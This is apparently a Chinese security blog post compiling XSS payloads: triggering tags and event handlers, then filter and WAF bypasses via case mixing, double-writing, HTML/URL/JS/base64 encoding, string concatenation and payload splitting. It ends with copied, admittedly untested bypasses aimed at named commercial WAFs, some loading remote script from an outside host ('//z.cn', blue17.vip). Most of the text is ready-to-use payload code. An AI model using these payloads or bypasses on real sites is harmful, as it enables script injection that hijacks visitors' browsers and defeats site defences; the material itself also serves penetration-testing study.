XSS | XSS 常用语句以及绕过思路

时间:2024-10-01 07:06:20

关注这个漏洞的其他相关笔记:XSS 漏洞 - 学习手册-****博客

0x01:干货 - XSS 测试常用标签语句

0x0101:<a> 标签

 <!-- 点击链接触发 - JavaScript 伪协议 -->
 <a href=javascript:console.log(1)>XSS1</a> 
 <!-- 字符编码绕过 - JavaScript 伪协议 -->
 <a href="java&#x0073;cript:console.log(2)">XSS2</a> 
 <!-- autofocus - 当页面加载时 a 标签自动获得焦点,自动触发 onfoucus 事件-->
 <a href="" onfocus=console.log(3) autofocus>XSS3</a>
 <!-- eval() => 执行字符串(笔者测试了这里不能拆分) -->
 <a href="" onclick=eval('console.log(4)')>XSS4</a>
 <!-- 事件监听,当鼠标划过元素时触发 -->
 <a href="" onmouseover="console.log(5)">XSS5</a>
 <!-- 事件监听,当鼠标划出元素时触发 -->
 <a href="" onmouseout="console.log(6)">XSS6</a>

0x0102:<audio> 标签

 <!-- audio 标签加载失败时触发 -->
 <audio src=x onerror=console.log(1)> 
 <!-- source - 音频源,当音频源加载失败时触发 -->
 <audio><source src=x onerror=console.log(2)></audio>
 <!-- controls 显示音频控件,显示后通过 autofocus 自动获取焦点,触发 onfocus 事件 -->
 <audio controls onfocus=eval(console.log(3)) autofocus></audio>
 <!-- 事件监听,当鼠标划过元素时触发 -->
 <audio controls onmouseover="console.log(4)"></audio>

0x0103:<body> 标签

 <!-- body 标签加载完成时自动触发 -->
 <body onload=console.log(1)></body>

0x0104:<button> 标签

 <!-- 事件监听:焦点事件,页面加载完成后,button 标签自动获得焦点,触发 onfocus 事件 -->
 <button onfocus=console.log(1) autofocus>XSS1</button>
 <!-- 下面均为事件监听,不多解释了 -->
 <button onclick=console.log(2)>XSS2</button>
 <button onmouseover=console.log(3)>XSS3</button>
 <button onmouseout=console.log(4)>XSS4</button>
 <button onmouseup=console.log(5)>XSS5</button>
 <button onmousedown=console.log(6)>XSS6</button>

0x0105:<details> 标签

 <!-- ontoggle:当 details 元素打开或关闭时执行 -->
 <details ontoggle=console.log(1)></details>
 <!-- open:自动打开,导致触发 ontoggle 事件 -->
 <details ontoggle=console.log(2) open></details>

0x0106:<div> 标签

 <div onmouseover=console.log(1)>XSS1</div>

0x0107:<form> 标签

 <!-- 点击按钮时,触发 action 操作 -->
 <form method="post" action="javascript:alert(1)"><input type=submit></form>
 <!-- 伪协议触发,没看头 -->
 <form method="post" action="javascript:" onmouseover=console.log(1)><input type=submit></form>
 <form method="post" action="javascript:" onmouseout=console.log(2)><input type=submit></form>
 <form method="post" action="javascript:" onmouseup=console.log(3)><input type=submit></form>

0x0108:<iframe> 标签

 <!-- JavaScript 伪协议 - 加载时自动触发 -->
 <iframe src=javascript:console.log(1);></iframe>
 <!-- dataURL 伪协议 - 加载时自动触发 -->
 <iframe src="data:text/html;base64,PHNjcmlwdD5jb25zb2xlLmxvZygyKTwvc2NyaXB0Pg=="></iframe>
 <!-- 下面均为事件监听触发,没有什么新意 -->
 <iframe onload=console.log(3)></iframe>
 <iframe onmouseover=console.log(4)></iframe>

0x0109:<img> 标签

<!-- 图片加载失败时触发 onerror 事件 -->
<img src=x onerror=console.log(1)>
<img src=x onerror=eval("console.log(2)")>
<!-- 下面均为事件监听触发,没有什么新意,就不讲了 -->
<img src=x onmouseover=console.log(3)>
<img src=x onmouseout=console.log(4)>
<img src=x onclick=console.log(5)>

0x0110:<input> 标签

<!-- 页面加载完成后,下面的 Input 标签自动获得焦点,触发 onfocus 事件 -->
<input onfocus=console.log(1) autofocus>
<!-- 下面均为事件监听触发 -->
<input onclick=console.log(2)>
<input onmouseover=console.log(3)>
<input onmousemove=console.log(4)>
<input type="text" onkeydown=console.log(5)></input>
<input type="text" onkeypress=console.log(6)></input>
<input type="text" onkeydown=console.log(7)></input>

0x0111:<object> 标签

<!-- object + dataURL 伪协议 -->
<object data="data:text/html;base64,PHNjcmlwdD5jb25zb2xlLmxvZygxKTwvc2NyaXB0Pg=="></object>

0x0112:<p> 标签

<!-- 下面均为事件监听触发 -->
<p onclick=console.log(1)>XSS1</p>
<p onmouseover=console.log(2)>XSS2</p>
<p onmouseout=console.log(3)>XSS3</p>
<p onmouseup=console.log(4)>XSS4</p>

0x0113:<script> 标签

<script>console.log('xss')</script>
<script>console.log(/xss/)</script>
<script>console.log(12345)</script>

0x0114:<select> 标签

<!-- 页面加载完成后,自动将焦点聚在 select 标签,触发 onfocus 事件 -->
<select onfocus=console.log(1) autofocus></select>
<!-- 下面均为事件监听触发 -->
<select onmouseover=console.log(2)></select>
<select onclick=eval("console.log(3)")></select>

0x0115:<svg> 标签

<svg onload=console.log(1)></svg>

0x0116:<video> 标签

<!-- 下面为 0 点击,自动触发 -->
<video src=x onerror=console.log(1)></video>
<video><source onerror=console.log(2)></video>
<video controls onfocus=console.log(3) autofocus></video>
<!-- 下面均为事件监听触发 - 需要互动 -->
<video controls onclick=console.log(4)></video>
<video controls onmouseover=console.log(5)></video>

0x02:思路 - XSS 触发方式分析

XSS 攻击,就要涉及到 XSS 代码的执行,要执行就需要有触发点,该部分主要是分析一下 XSS 攻击的各种触发方式,做到以不变应万变。

0x0201:内联脚本类型

这种事最直接的方式,在 HTML 标签中直接使用 <script> 标签来包含 JavaScript 代码。这些代码会嵌入到 HTML 文档中,并由浏览器按顺序执行。例如:

<script>
    console.log('XSS');
</script>

0x0202:外部脚本类型

该方式通过将 JavaScript 代码放到单独的文件中,然后在 HTML 文档中通过 <script> 标签的 src 属性引入这个文件。在我们挖掘出一个 XSS 漏洞后,使用此种方法可以很方便的利用漏洞。

例如,在你服务器的根目录站点(域名:blue17.vip)下有一个你写的 script.js 文件,你可以这样引入:

<script src="http://www.blue17.vip/script.js"></script>

0x0203:通过 HTML 事件属性

该方式通过在 HTML 元素的事件属性中嵌入 JavaScript 代码片段,当对应的事件触发时,相应的 JavaScript 脚本也会执行。例如,当点击按钮时弹出消息框:

<button onclick="alert('Button clicked!')">Click me</button>

HTML 事件属性参考下面的手册:

HTML 事件参考手册https://www.w3school.com.cn/tags/html_ref_eventattributes.asp

几乎所有的 HTML 元素都可以通过添加事件属性的方式来使其执行 JavaScript 代码,其中也包括自己定义的标签,比如下面的标签,当我们鼠标划过时,也会触发事件属性进行弹窗:

<blue17 onmouseover=alert('Blue17')>Blue17</blue17>
各种 on事件触发js代码 - sherryChang - 博客园【转】各种 on事件触发js代码1、onmouseenter:当鼠标进入选区执行代码1234562、onmouseleave:当鼠标离开选区执行代码1234563、onmousewheel:当鼠标在选区滚轮时执行代码1234564、onscroll:拖动滚动条执行代码1234565、onfocusihttps://www.cnblogs.com/ssrsblogs/p/on_js.html

0x0204:通过 HTML 标签属性

部分 HTML 标签携带的标签属性可以执行 JavaScript 脚本,有的甚至是在网页加载时自动触发的,该部分的内容就是汇总一下此类标签:

<!-- href 属性触发 -->
<a href=javascript:console.log(1)>XSS1</a> 
<!-- action 属性触发 -->
<form method="post" action="javascript:console.log(2)"><input type=submit></form>
<!-- data 属性触发 - 加载时自动触发 -->
<object data="data:text/html;base64,PHNjcmlwdD5jb25zb2xlLmxvZygzKTwvc2NyaXB0Pg=="></object>
<!-- src 属性触发 - 加载时自动触发 -->
<iframe src=javascript:console.log(4);></iframe>

0x03:思路 - XSS WAF 绕过技巧(通用)

0x0301:大小写绕过

大小写绕过针对的是后端匹配敏感字符未考虑大小写语义一样的情况,比如 <script><ScRiPT> 对于前端浏览器而言,它都是认识的。

<script>console.log(1)</script> 
=> <!-- 将 script 大小写混写以达到绕过的目的 -->
<ScRipT>console.log(1)</scRiPt>

0x0302:双写绕过 / 关键词置空绕过

双写绕过针对的是后端对敏感字符做替换的情况,比如将 script 替换为空(如果替换为其他字符,双写绕过也没用)。

<script>console.log(1)</script> 
=> <!-- 将 script 双写以达到绕过的目的 -->
<scrscriptipt>console.log(1)</scrscriptipt>

0x0303:等价字符 / 函数替换 & 字符混淆

1. 空格过滤绕过 + 字符混淆

原始 Pyalod:<html><img src οnerrοr=alert(1)></html>

添加占位符后:<html><img$A$src$A$onerror$B$=$B$alert$C$(1)$D$</html>

  • $A$ 可以使用://ksj123/%09%0a%0c%0d%20 进行填充。

    • 其中以 % 号开头的字符为十六进制字符,需要通过 URL 传递(或者手动修改字符十六进制值)。

  • $B$ 可以使用:%09%0A%0C%0D%20 进行填充。

  • $C$ 可以使用:%0B/*ksj123*/ 进行填充。

    • 如果攻击 Payload 为:οnerrοr="alert$C$(1)"

      • 则可以使用 %09%0A%0C%0D%20 进行填充。

  • $D$ 可以使用:%09%0A%0C%0D%20//> 进行填充。

还可以使用括号分割:(alert)(/xss/)((alert))(/xss/)

2. 圆括号过滤绕过

alert(1) 函数中的 () 被过滤了,可以考虑使用下面的方式进行绕过:

<!-- 反引号替换 -->
<script>alert`1`</script>
<!-- throw 绕过 -->
<video src onerror="javascript:window.onerror=alert;throw 1">
<svg onload="window.onerror=eval;throw'=alert\x281\x29';">    

3. 单引号过滤绕过

alert('xss') 中的 '' 被过滤了,可以考虑使用下面的方式进行绕过:

<!-- 斜杠替换 -->
<script>alert(/xss/)</script>
<!-- 反引号替换 -->
<script>alert(`xss`)</script>

4. XSS POC(alert)过滤绕过

若测试时发现 XSS 验证函数 alert() 被过滤了,可以考虑使用下面的函数来完成验证:

<!-- prompt - 显示一个用户可进行输入的对话框 -->
<script>prompt(/xss/)</script>
<!-- confirm - 显示一个包含消息、确定按钮和取消按钮的对话框 -->
<script>confirm(/xss/)</script>
<!-- console.log - 在控制台中输出消息 -->
<script>console.log(1)</script>
<!-- document.write - 往 HTML 文档对象中写入内容 -->
<script>document.write(1)</script>
<!-- base64 绕过 -->
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">
<img src=x onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```">

5. eval 过滤绕过

若测试时发现 eval() 函数被过滤了,可以考虑使用下面的函数来执行 XSS 攻击:

<img src="x" onerror="eval(alert(1))">  
<img src="x" onerror="open(alert(1))">  
<img src="x" onerror="document.write(alert(1))">  
<img src="x" onerror="setTimeout(alert(1))">  
<img src="x" onerror="setInterval(alert(1))">  
<img src="x" onerror="Set.constructor(alert(1))">  
<img src="x" onerror="Map.constructor(alert(1))">  
<img src="x" onerror="Array.constructor(alert(1))">  
<img src="x" onerror="WeakSet.constructor(alert(1))">  
<img src="x" onerror="constructor.constructor(alert(1))">  
<img src="x" onerror="[1].map(alert(1))">  
<img src="x" onerror="[1].find(alert(1))">  
<img src="x" onerror="[1].every(alert(1))">  
<img src="x" onerror="[1].filter(alert(1))">  
<img src="x" onerror="[1].forEach(alert(1))">  
<img src="x" onerror="[1].findIndex(alert(1))">

0x0304:编码绕过

编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码全能编码解码https://bianma.bmcx.com/

1. HTML 实体编码

1.1 HTML 实体编码 - 理论部分

HTML 实体常常用于显示保留字符(这些字符会被解析为 HTML 代码进而造成 html 标记解析错误,如 <>)和不可见的字符(如:不换行空格)。

HTML 实体是一段以连字号(&)开头、以分号(;)结尾的文本(字符串)。其又可以分为命名实体与字符编码两种类型。

  • 命名实体:& 开头,以分号结尾的,例如 < 的编码是 &lt;。(此种编码无法利用)

  • 字符编码: 十进制、十六进制 ASCII 码或 Unicode 字符编码,样式为 &#数值;,例如 < 可以编码为 &#060;(十进制) 和 &#x3c;(十六进制)

ASCII 码与 Unicode 字符编码

ASCII 码(美国信息交换标准代码),是一个基于拉丁字母的计算机字符编码标准,主要用于显示现代英语和其他西欧语言。ASCII 码使用 7 位二进制数(bits)来表示共 128 个字符,这些字符包括英文字母(大小写)、数字 0 ~ 9、标点符号、控制字符等。

Unicode 是一个为了解决传统字符编码方案的局限而产生的,它为世界上几乎所有的文字都定义了唯一的的数字代码,以确保文本在不同系统之间可以无差错的转换和显示。

由于 ASCII 码已经广泛使用并且很好地满足了英文字符的编码需求,Unicode 在设计时决定保留 ASCII 编码的字符集,并将其作为 Unicode 编码的一个子集。因此,Unicode 编码的前 128 个字符(即 U+0000 到 U+007F)与 ASCII 码表中的字符一一对应。这使得旧的、基于 ASCII 的系统可以无缝地升级到支持 Unicode 的系统,同时保持对 ASCII 字符的兼容性。

https://symbl.cc/cn/unicode-table/https://symbl.cc/cn/unicode-table/
1.2 HTML 实体编码 - 实战部分
在线Html实体编码解码-HTML Entity Encoding/Decoding在线Html实体编码,Html实体转换,字符转Html实体,Html实体编码(16进制),Html实体编码(10进制)https://config.net.cn/tools/HtmlEncode.html

当可控点为单个标签属性时,可以使用 HTML 实体编码($XSS$ 为标注的可控点):

<a href="$XSS$">test</a>

<iframe src="$XSS$">test<iframe>  
<img src=x onerror="$XSS$">

编码流程如下 (Payload 中的 " 号可以去掉,但是不能对其进行 HTML 编码)

原始 Payload:<a href="javascript:alert(1)">test</a>

十进制字符编码后的 Payload:<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">test</a>

十六进制字符编码后的 Payload:<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>

变种 - 去除分号后的 Pyalod:<a href="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x31&#x29">test</a>

变种 - 任意填充多位 0 后的 Pyalod:<a href="&#x000000006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029">test</a>

2. URL 编码

2.1 URL 编码 - 理论部分

一个完整的 URL 结构如下图所示(很多人都没见过完整的,笔者也是):

可以看到,浏览器解析 URL 时,会依靠 :/@?=# 这些字符来做语义的分割,来确定每部分内容对应的含义,所以上面的那些字符对于浏览器而言就是保留字符。如果我们在 URL 中的某个部分传递的参数中,用到了这些保留字符,就有可能会破坏 URL 的语法,影响服务端的正常解析。

举个例子,假设我想在查询参数的位置传入&Blue17&,我该怎么传递?如果直接拼接会出现这样的情况:?query-key=&Blue17&,后端实际接收的是:query-key=""Blue17="",这与我们的要求不符,如下图所示:

为了解决上述这种问题,URL 编码应运而生。

URL 编码

URL 编码(也称为百分比编码)是一种编码机制,用于在 URL(统一资源标识符)中嵌入特定字符。由于 URL 中某些字符具有特殊含义,或者可能被传输系统误解,因此需要将这些字符转换为一种可以安全传输的格式。URL 编码使用百分比符号 % 后跟两位十六进制数来标识这些字符。

URL 编码流程 - 理论:

  1. 将字符转换为 ASCII 码: ASCII 码表(基本 ASCII 码 + 扩展 ASCII 码)

  2. 将 ASCII 码转换为十六进制: 进制转换器 - 在线工具

  3. 添加百分比符号: 在转换完成后的十六进制数前添加 % 号符号。

URL 编码流程 - 实操:

  1. 将字符转换为 ASCII 码: 查表发现 & 的 ASCII 码值为(十进制) 38

  2. 将 ASCII 码转换为十六进制: 十进制 38 转换为十六进制后为 26

  3. 添加百分比符号: 添加百分比符号后结果为:%26

所以当我想向后端传递 &Blue17& 这个值的话,我应该传递(经过 URL 编码):%26Blue17%26

2.2 URL 编码 - 实战部分
在线url网址编码、解码(ES JSON在线工具)在线URL编码解码工具:对网址Url进行UrlEncode编码转换,UrlEncode编码,UrlDecode解码,方便开发人员进行操作http://www.esjson.com/urlEncode.html

当可控点存在 href 属性或者 src 属性时,可以使用 URL 编码($XSS 为标注的可控点):

<a href="$XSS$">test</a>

<ifram src="$XSS$">test</ifram>

编码流程如下:

原始 Payload:<a href="javascript:alert(1)">test</a>

URL 编码后的 Payload(适合 POST 型提交):<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>

二次 URL 编码 Payload(适合 GET 型提交):<a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a>

注意:URL 解析过程中,不能对协议类型进行任何的编码操作,所以 javascript: 协议头需要保留。

3. JS 编码

3.1 JS 编码 - 理论部分

JS 提供了四种字符编码的策略,如下所示(字符对应的数字可以查看 ASCII 码表Unicode 表

  • \ 加上三个八进制数字,如果个数不够,前面补 0,例如 < 编码为 \074

  • \x 加上两个十六进制数字,如果个数不够,前面补 0,例如 < 编码为 \x3c

  • \u 加上四个十六进制数字,如果个数不够,前面补 0,例如 < 编码为 \u003c

  • 对于一些控制字符,使用特殊的 C 类型的转义风格(例如 \n\r

JS 编码注意事项

JS 编码解码的时候字符或者字符串仅会被解码为字符串文本或者标识符名称。

例如,JS 解析器工作的时候会将 \u0061\u006c\u0065\u0072\u0074 解析为 alert,而 alert 是一个有效的标识符名称,它是能被正常解析的。但是像圆括号 ()、双引号 ""、单引号 ' 等等这些字符就只能被当作普通的文本,从而导致无法执行。

由于 JS 是最后进行解析的,所以如果使用混合编码,需要先使用 JS 编码再进行 URL 编码或者 HTML 实体编码。

3.2 JS 编码 - 实战部分

下面的 $XSS$ 为标注的可控点:

<img src=x onerror="$XSS$">

<input onfocus="$XSS$" autofocus>

Unicode 版 - 编码流程如下 (可以通过 Unicode 对函数进行编码)

原始 Payload 1:<img src=x onerror="alert(1)">
<!-- () 号在 JS 编码中是会被作为普通文本的,此处演示如何二次触发 JS 编码,从而将()也绕过 -->
原始 Payload 2:<input onfocus=location="javascript:alert(1)" autofocus>

Unicode JS 编码后的 Payload1:<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">

Unicode JS 编码后的 Payload2: <input onfocus=\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e="\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>

注意:Unicode 编码时,只能对有效的标识符进行编码 ,非标识符解码后不能解析执行。 例如 javascript:alert(1),进行 Unicode 编码时,只能对 alert1 进行编码,小括号编码后会被当成文本字符,不能执行。

ASCII 八进制和十六进制 - 编码流程如下 (只能对特定函数传递的参数进行编码)

原始 Payload:<svg onload=setTimeout('alert(1)')>

八进制 JS 编码后的 Payload:<svg onload=setTimeout('\141\154\145\162\164\050\061\051')>
十六进制 JS 编码后的 Payload:<svg onload=setTimeout('\x61\x6c\x65\x72\x74\x28\x31\x29')>
Unicode JS 编码后的 Payload:<svg onload=setTimeout('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>

注意:ASCII 八进制和十六进制编码只能用于对特定函数传递的参数进行编码

  • 特定函数包括:eval()setTimeout() 以及其他可以执行传递参数的函数。

假设我传递 eval("alert(1)") 那么对于 alert(1) 我可以对其进行八进制、十六进制或者 Unicode 编码(双引号无法进行编码)。

4. 混合编码

由于浏览器解码顺序为 HTML 解析 —— URL 解析 —— JS 解析(HTML 与 URL 的解码顺序在一些情况下可以颠倒),所以我们可以通过编码方式进行组合绕过。

解码顺序为 HTML 解码 => URL 解码 => JS 解码,那么编码顺序就是其逆过程(要保证代码语义不变)。

所以编码顺序应该为:JS 编码 => URL 编码 => HTML 编码,看如下示例:

原始 Payload 1.0:
<a href="javascript:alert(/xss/)">Blue17</a>

对 Payload 1.0 进行 JS Unicode 编码(小括号无法编码)后的 Payload 2.0:
<a href="javascript:\u0061\u006c\u0065\u0072\u0074(/xss/)">Blue17</a>

对 Payload 2.0 javascript: 伪协议传参部分进行 URL 一次编码后的 Payload 3.0:
<a href="javascript:%5Cu0061%5Cu006c%5Cu0065%5Cu0072%5Cu0074(%2Fxss%2F)">Blue17</a>

对 Payload 3.0 href 传参部分整体进行 HTML 编码的 Payload 4.0(小括号没了):
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#67;&#117;&#48;&#48;&#54;&#49;&#37;&#53;&#67;&#117;&#48;&#48;&#54;&#99;&#37;&#53;&#67;&#117;&#48;&#48;&#54;&#53;&#37;&#53;&#67;&#117;&#48;&#48;&#55;&#50;&#37;&#53;&#67;&#117;&#48;&#48;&#55;&#52;&#40;&#37;&#50;&#70;&#120;&#115;&#115;&#37;&#50;&#70;&#41;">Blue17</a>

如果是通过 GET 方式传参,还有 Payload 5.0,对 Payload 4.0 整体进行 URL 二次编码:
%3Ca%20href%3D%22%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2337%3B%26%2353%3B%26%2367%3B%26%23117%3B%26%2348%3B%26%2348%3B%26%2354%3B%26%2349%3B%26%2337%3B%26%2353%3B%26%2367%3B%26%23117%3B%26%2348%3B%26%2348%3B%26%2354%3B%26%2399%3B%26%2337%3B%26%2353%3B%26%2367%3B%26%23117%3B%26%2348%3B%26%2348%3B%26%2354%3B%26%2353%3B%26%2337%3B%26%2353%3B%26%2367%3B%26%23117%3B%26%2348%3B%26%2348%3B%26%2355%3B%26%2350%3B%26%2337%3B%26%2353%3B%26%2367%3B%26%23117%3B%26%2348%3B%26%2348%3B%26%2355%3B%26%2352%3B%26%2340%3B%26%2337%3B%26%2350%3B%26%2370%3B%26%23120%3B%26%23115%3B%26%23115%3B%26%2337%3B%26%2350%3B%26%2370%3B%26%2341%3B%22%3EBlue17%3C%2Fa%3E

上述示例中的 Payload 1.0 - Payload 4.0 均可以在浏览器中直接运行,但是 Payload 5.0 需要通过 URL 传递(此时浏览器的解析过程为:URL 解码 => HTML 解码 => URL 解码 => JS 解码)。

混合编码注意事项

  • 通过 HTML 标签属性(如 hrefsrc)触发的 XSS 可以使用三种混合编码。

  • 通过 HTML 事件属性(on 事件)触发的 XSS,可以使用 HTML 实体编码和 JS 编码混合,但 URL 编码在该情况下不会被解析。

5. Base64 编码绕过

Base64 编码/解码 - 锤子在线工具此工具是一个 Base64 编码或解码在线工具,实现把字符串转成 Base64 或者从 Base64 转成成字符串。https://www.toolhelper.cn/EncodeDecode/Base64
5.1 Base64 + data 伪协议

XSS 攻击中的 Base64 通常与 data 伪协议一起出现(有编码就有解码,data 伪协议可以解码)。

data 伪协议的使用格式如下所示:

data:[<mediatype>][;base64],<data>

下面演示一下基于 Base64 + data 伪协议 的 XSS 攻击 Payload:

<script>alert(/xss/)</script> => <!-- Base64 编码后 --> => PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=

<!-- 1. <object> 标签 -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>

<!-- 2. <a> 标签 - 新版浏览器不支持  -->
<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=">test</a>

<!-- 3. <iframe> 标签 -->
<iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></iframe>

<!-- 4. <embed> 标签 -->
<embed src="data:text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></embed>
5.2 Base64 + atob 函数

atob() 函数用于解码 base64 编码的字符串:

atob() 函数的逆运算函数为 btoa()(即进行 Base64 编码的函数):

下面演示一下基于 Base64 + atob() 函数的 XSS 攻击的 Payload:

<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>  
<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test</a>  
<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test</a>  
<img src=x onmouseover="eval(window.atob('YWxlcnQoMSk='))">  
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">  
<iframe src="javascript:eval(window['atob']('YWxlcnQoMSk='))"></iframe>

6. ASCII 编码绕过

ASCII 编码一般配合 String.fromCharCode() 函数(将 ASCII 码值转换成对应字符并拼接)使用:

基于 ASCII 编码 + String.fromCharCode() 函数的 XSS 攻击 Payload:

<!-- 十进制 ASCII 码 -->
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>test</a>

<!-- 十六进制 ASCII 码 -->
<a href='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))'>test</a>

0x0305:函数拼接绕过

<!-- eval() 函数 -->
 <img src="x" onerror="eval('al'+'ert(1)')">

<!-- top  -->
<img src="x" onerror="top['al'+'ert'](1)">

<!-- window -->
<img src="x" onerror="window['al'+'ert'](1)">

<!-- self -->
<img src="x" onerror="self[`al`+`ert`](1)">

<!-- parent -->
<img src="x" onerror="parent[`al`+`ert`](1)">

<!-- frames -->
<img src="x" onerror="frames[`al`+`ert`](1)">

<!-- 赋值拼接 -->
<img src onerror=_=alert,_(1)>  
<img src x=al y=ert onerror=top[x+y](1)>  
<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>  
<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

0x0306:长度限制绕过 - 拆分法

当 WEB 应用程序对用户输入的长度进行了限制,导致我们无法一次性将 Payload 提交时,在特定情况下,我们可以采用少量多次的方法,通过拆分 Payload 提交来达到注入攻击的目的:

<script>a = 'document.write("'</script>
<script>a = a + '<script>aler'</script>
<script>a = a + 't(1)</scr'</script>
<script>a = a + 'ipt>")'</script>
<script>eval(a)</script>

通过上面的拆分法可以拼凑出下面完整的攻击向量:

<script>alert(1)</script>

0x04:干货 - XSS WAF 绕过技巧(针对)

此部分的内容笔者还没有测试过,属于是从网上当下来的,不过遇到的时候可以试试:

0x0401:安全狗

http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=top[`al`%2B`ert`](1);>  
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=appendChild(createElement("script")).src="//z.cn">

0x0402:D 盾

http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>

0x0403:云锁 + 奇安信 WAF

http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[`al`%2B`ert`](1);>  
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>

0x05:参考资料

0x0501:XSS 绕过 - 实操依据

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户xss 常用标签及绕过姿势总结https://www.freebuf.com/articles/web/340080.html
绕过XSS过滤姿势总结 - zha0gongz1 - 博客园0x00 XSS基本测试流程 原则是“见框就插”,多动手,这里分享几个经典测试payload: ">

0x0502:XSS 绕过 - 理论依据

浏览器解析与编码顺序及xss挖掘绕过全汇总-腾讯云开发者社区-腾讯云在以往的培训和渗透过程中,发现很多渗透人员尤其是初学者在挖掘xss漏洞时,很容易混淆浏览器解析顺序和解码顺序,对于html和js编码、解码和浏览器解析顺序、哪些元素可以解码、是否可以借助编码绕过等情况也基本处于混沌的状态,导致最终只能扔一堆payload上去碰碰运气。这篇文章就把浏览器解析顺序、编码解码的类型、各种解码...https://cloud.tencent.com/developer/article/1516371
跟我一起探索HTTP- 什么是Data URL_demo007x的技术博客_51CTO博客跟我一起探索HTTP- 什么是Data URL,DataURL,即前缀为​​data:​​协议的URL,其允许内容创建者向文档中嵌入小文件。它们之前被称作“dataURI”。现代浏览器将DataURL视作唯一的不透明来源,而不是可以用于导航的URL。https://blog.51cto.com/demo007x/6263730

0x0503:XSS 绕过 - 辅助工具

ASCII码 - 基本ASCII码和扩展ASCII码,中文最全ASCII码对照表0~255ASCII (American Standard Code for Information Interchange,美国信息交换标准代码)是基于拉丁字母的一套电脑编码系统,主要用于显示现代英语和其他西欧语言。它是现今最通用的单字节编码系统,并等同于国际标准ISO/IEC 646。https://www.asciim.cn/
各种 on事件触发js代码 - sherryChang - 博客园【转】各种 on事件触发js代码1、onmouseenter:当鼠标进入选区执行代码1234562、onmouseleave:当鼠标离开选区执行代码1234563、onmousewheel:当鼠标在选区滚轮时执行代码1234564、onscroll:拖动滚动条执行代码1234565、onfocusihttps://www.cnblogs.com/ssrsblogs/p/on_js.html
编码解码 - Utf-16编码解码 - Utf-32编码解码 - Base64编码解码全能编码解码https://bianma.bmcx.com/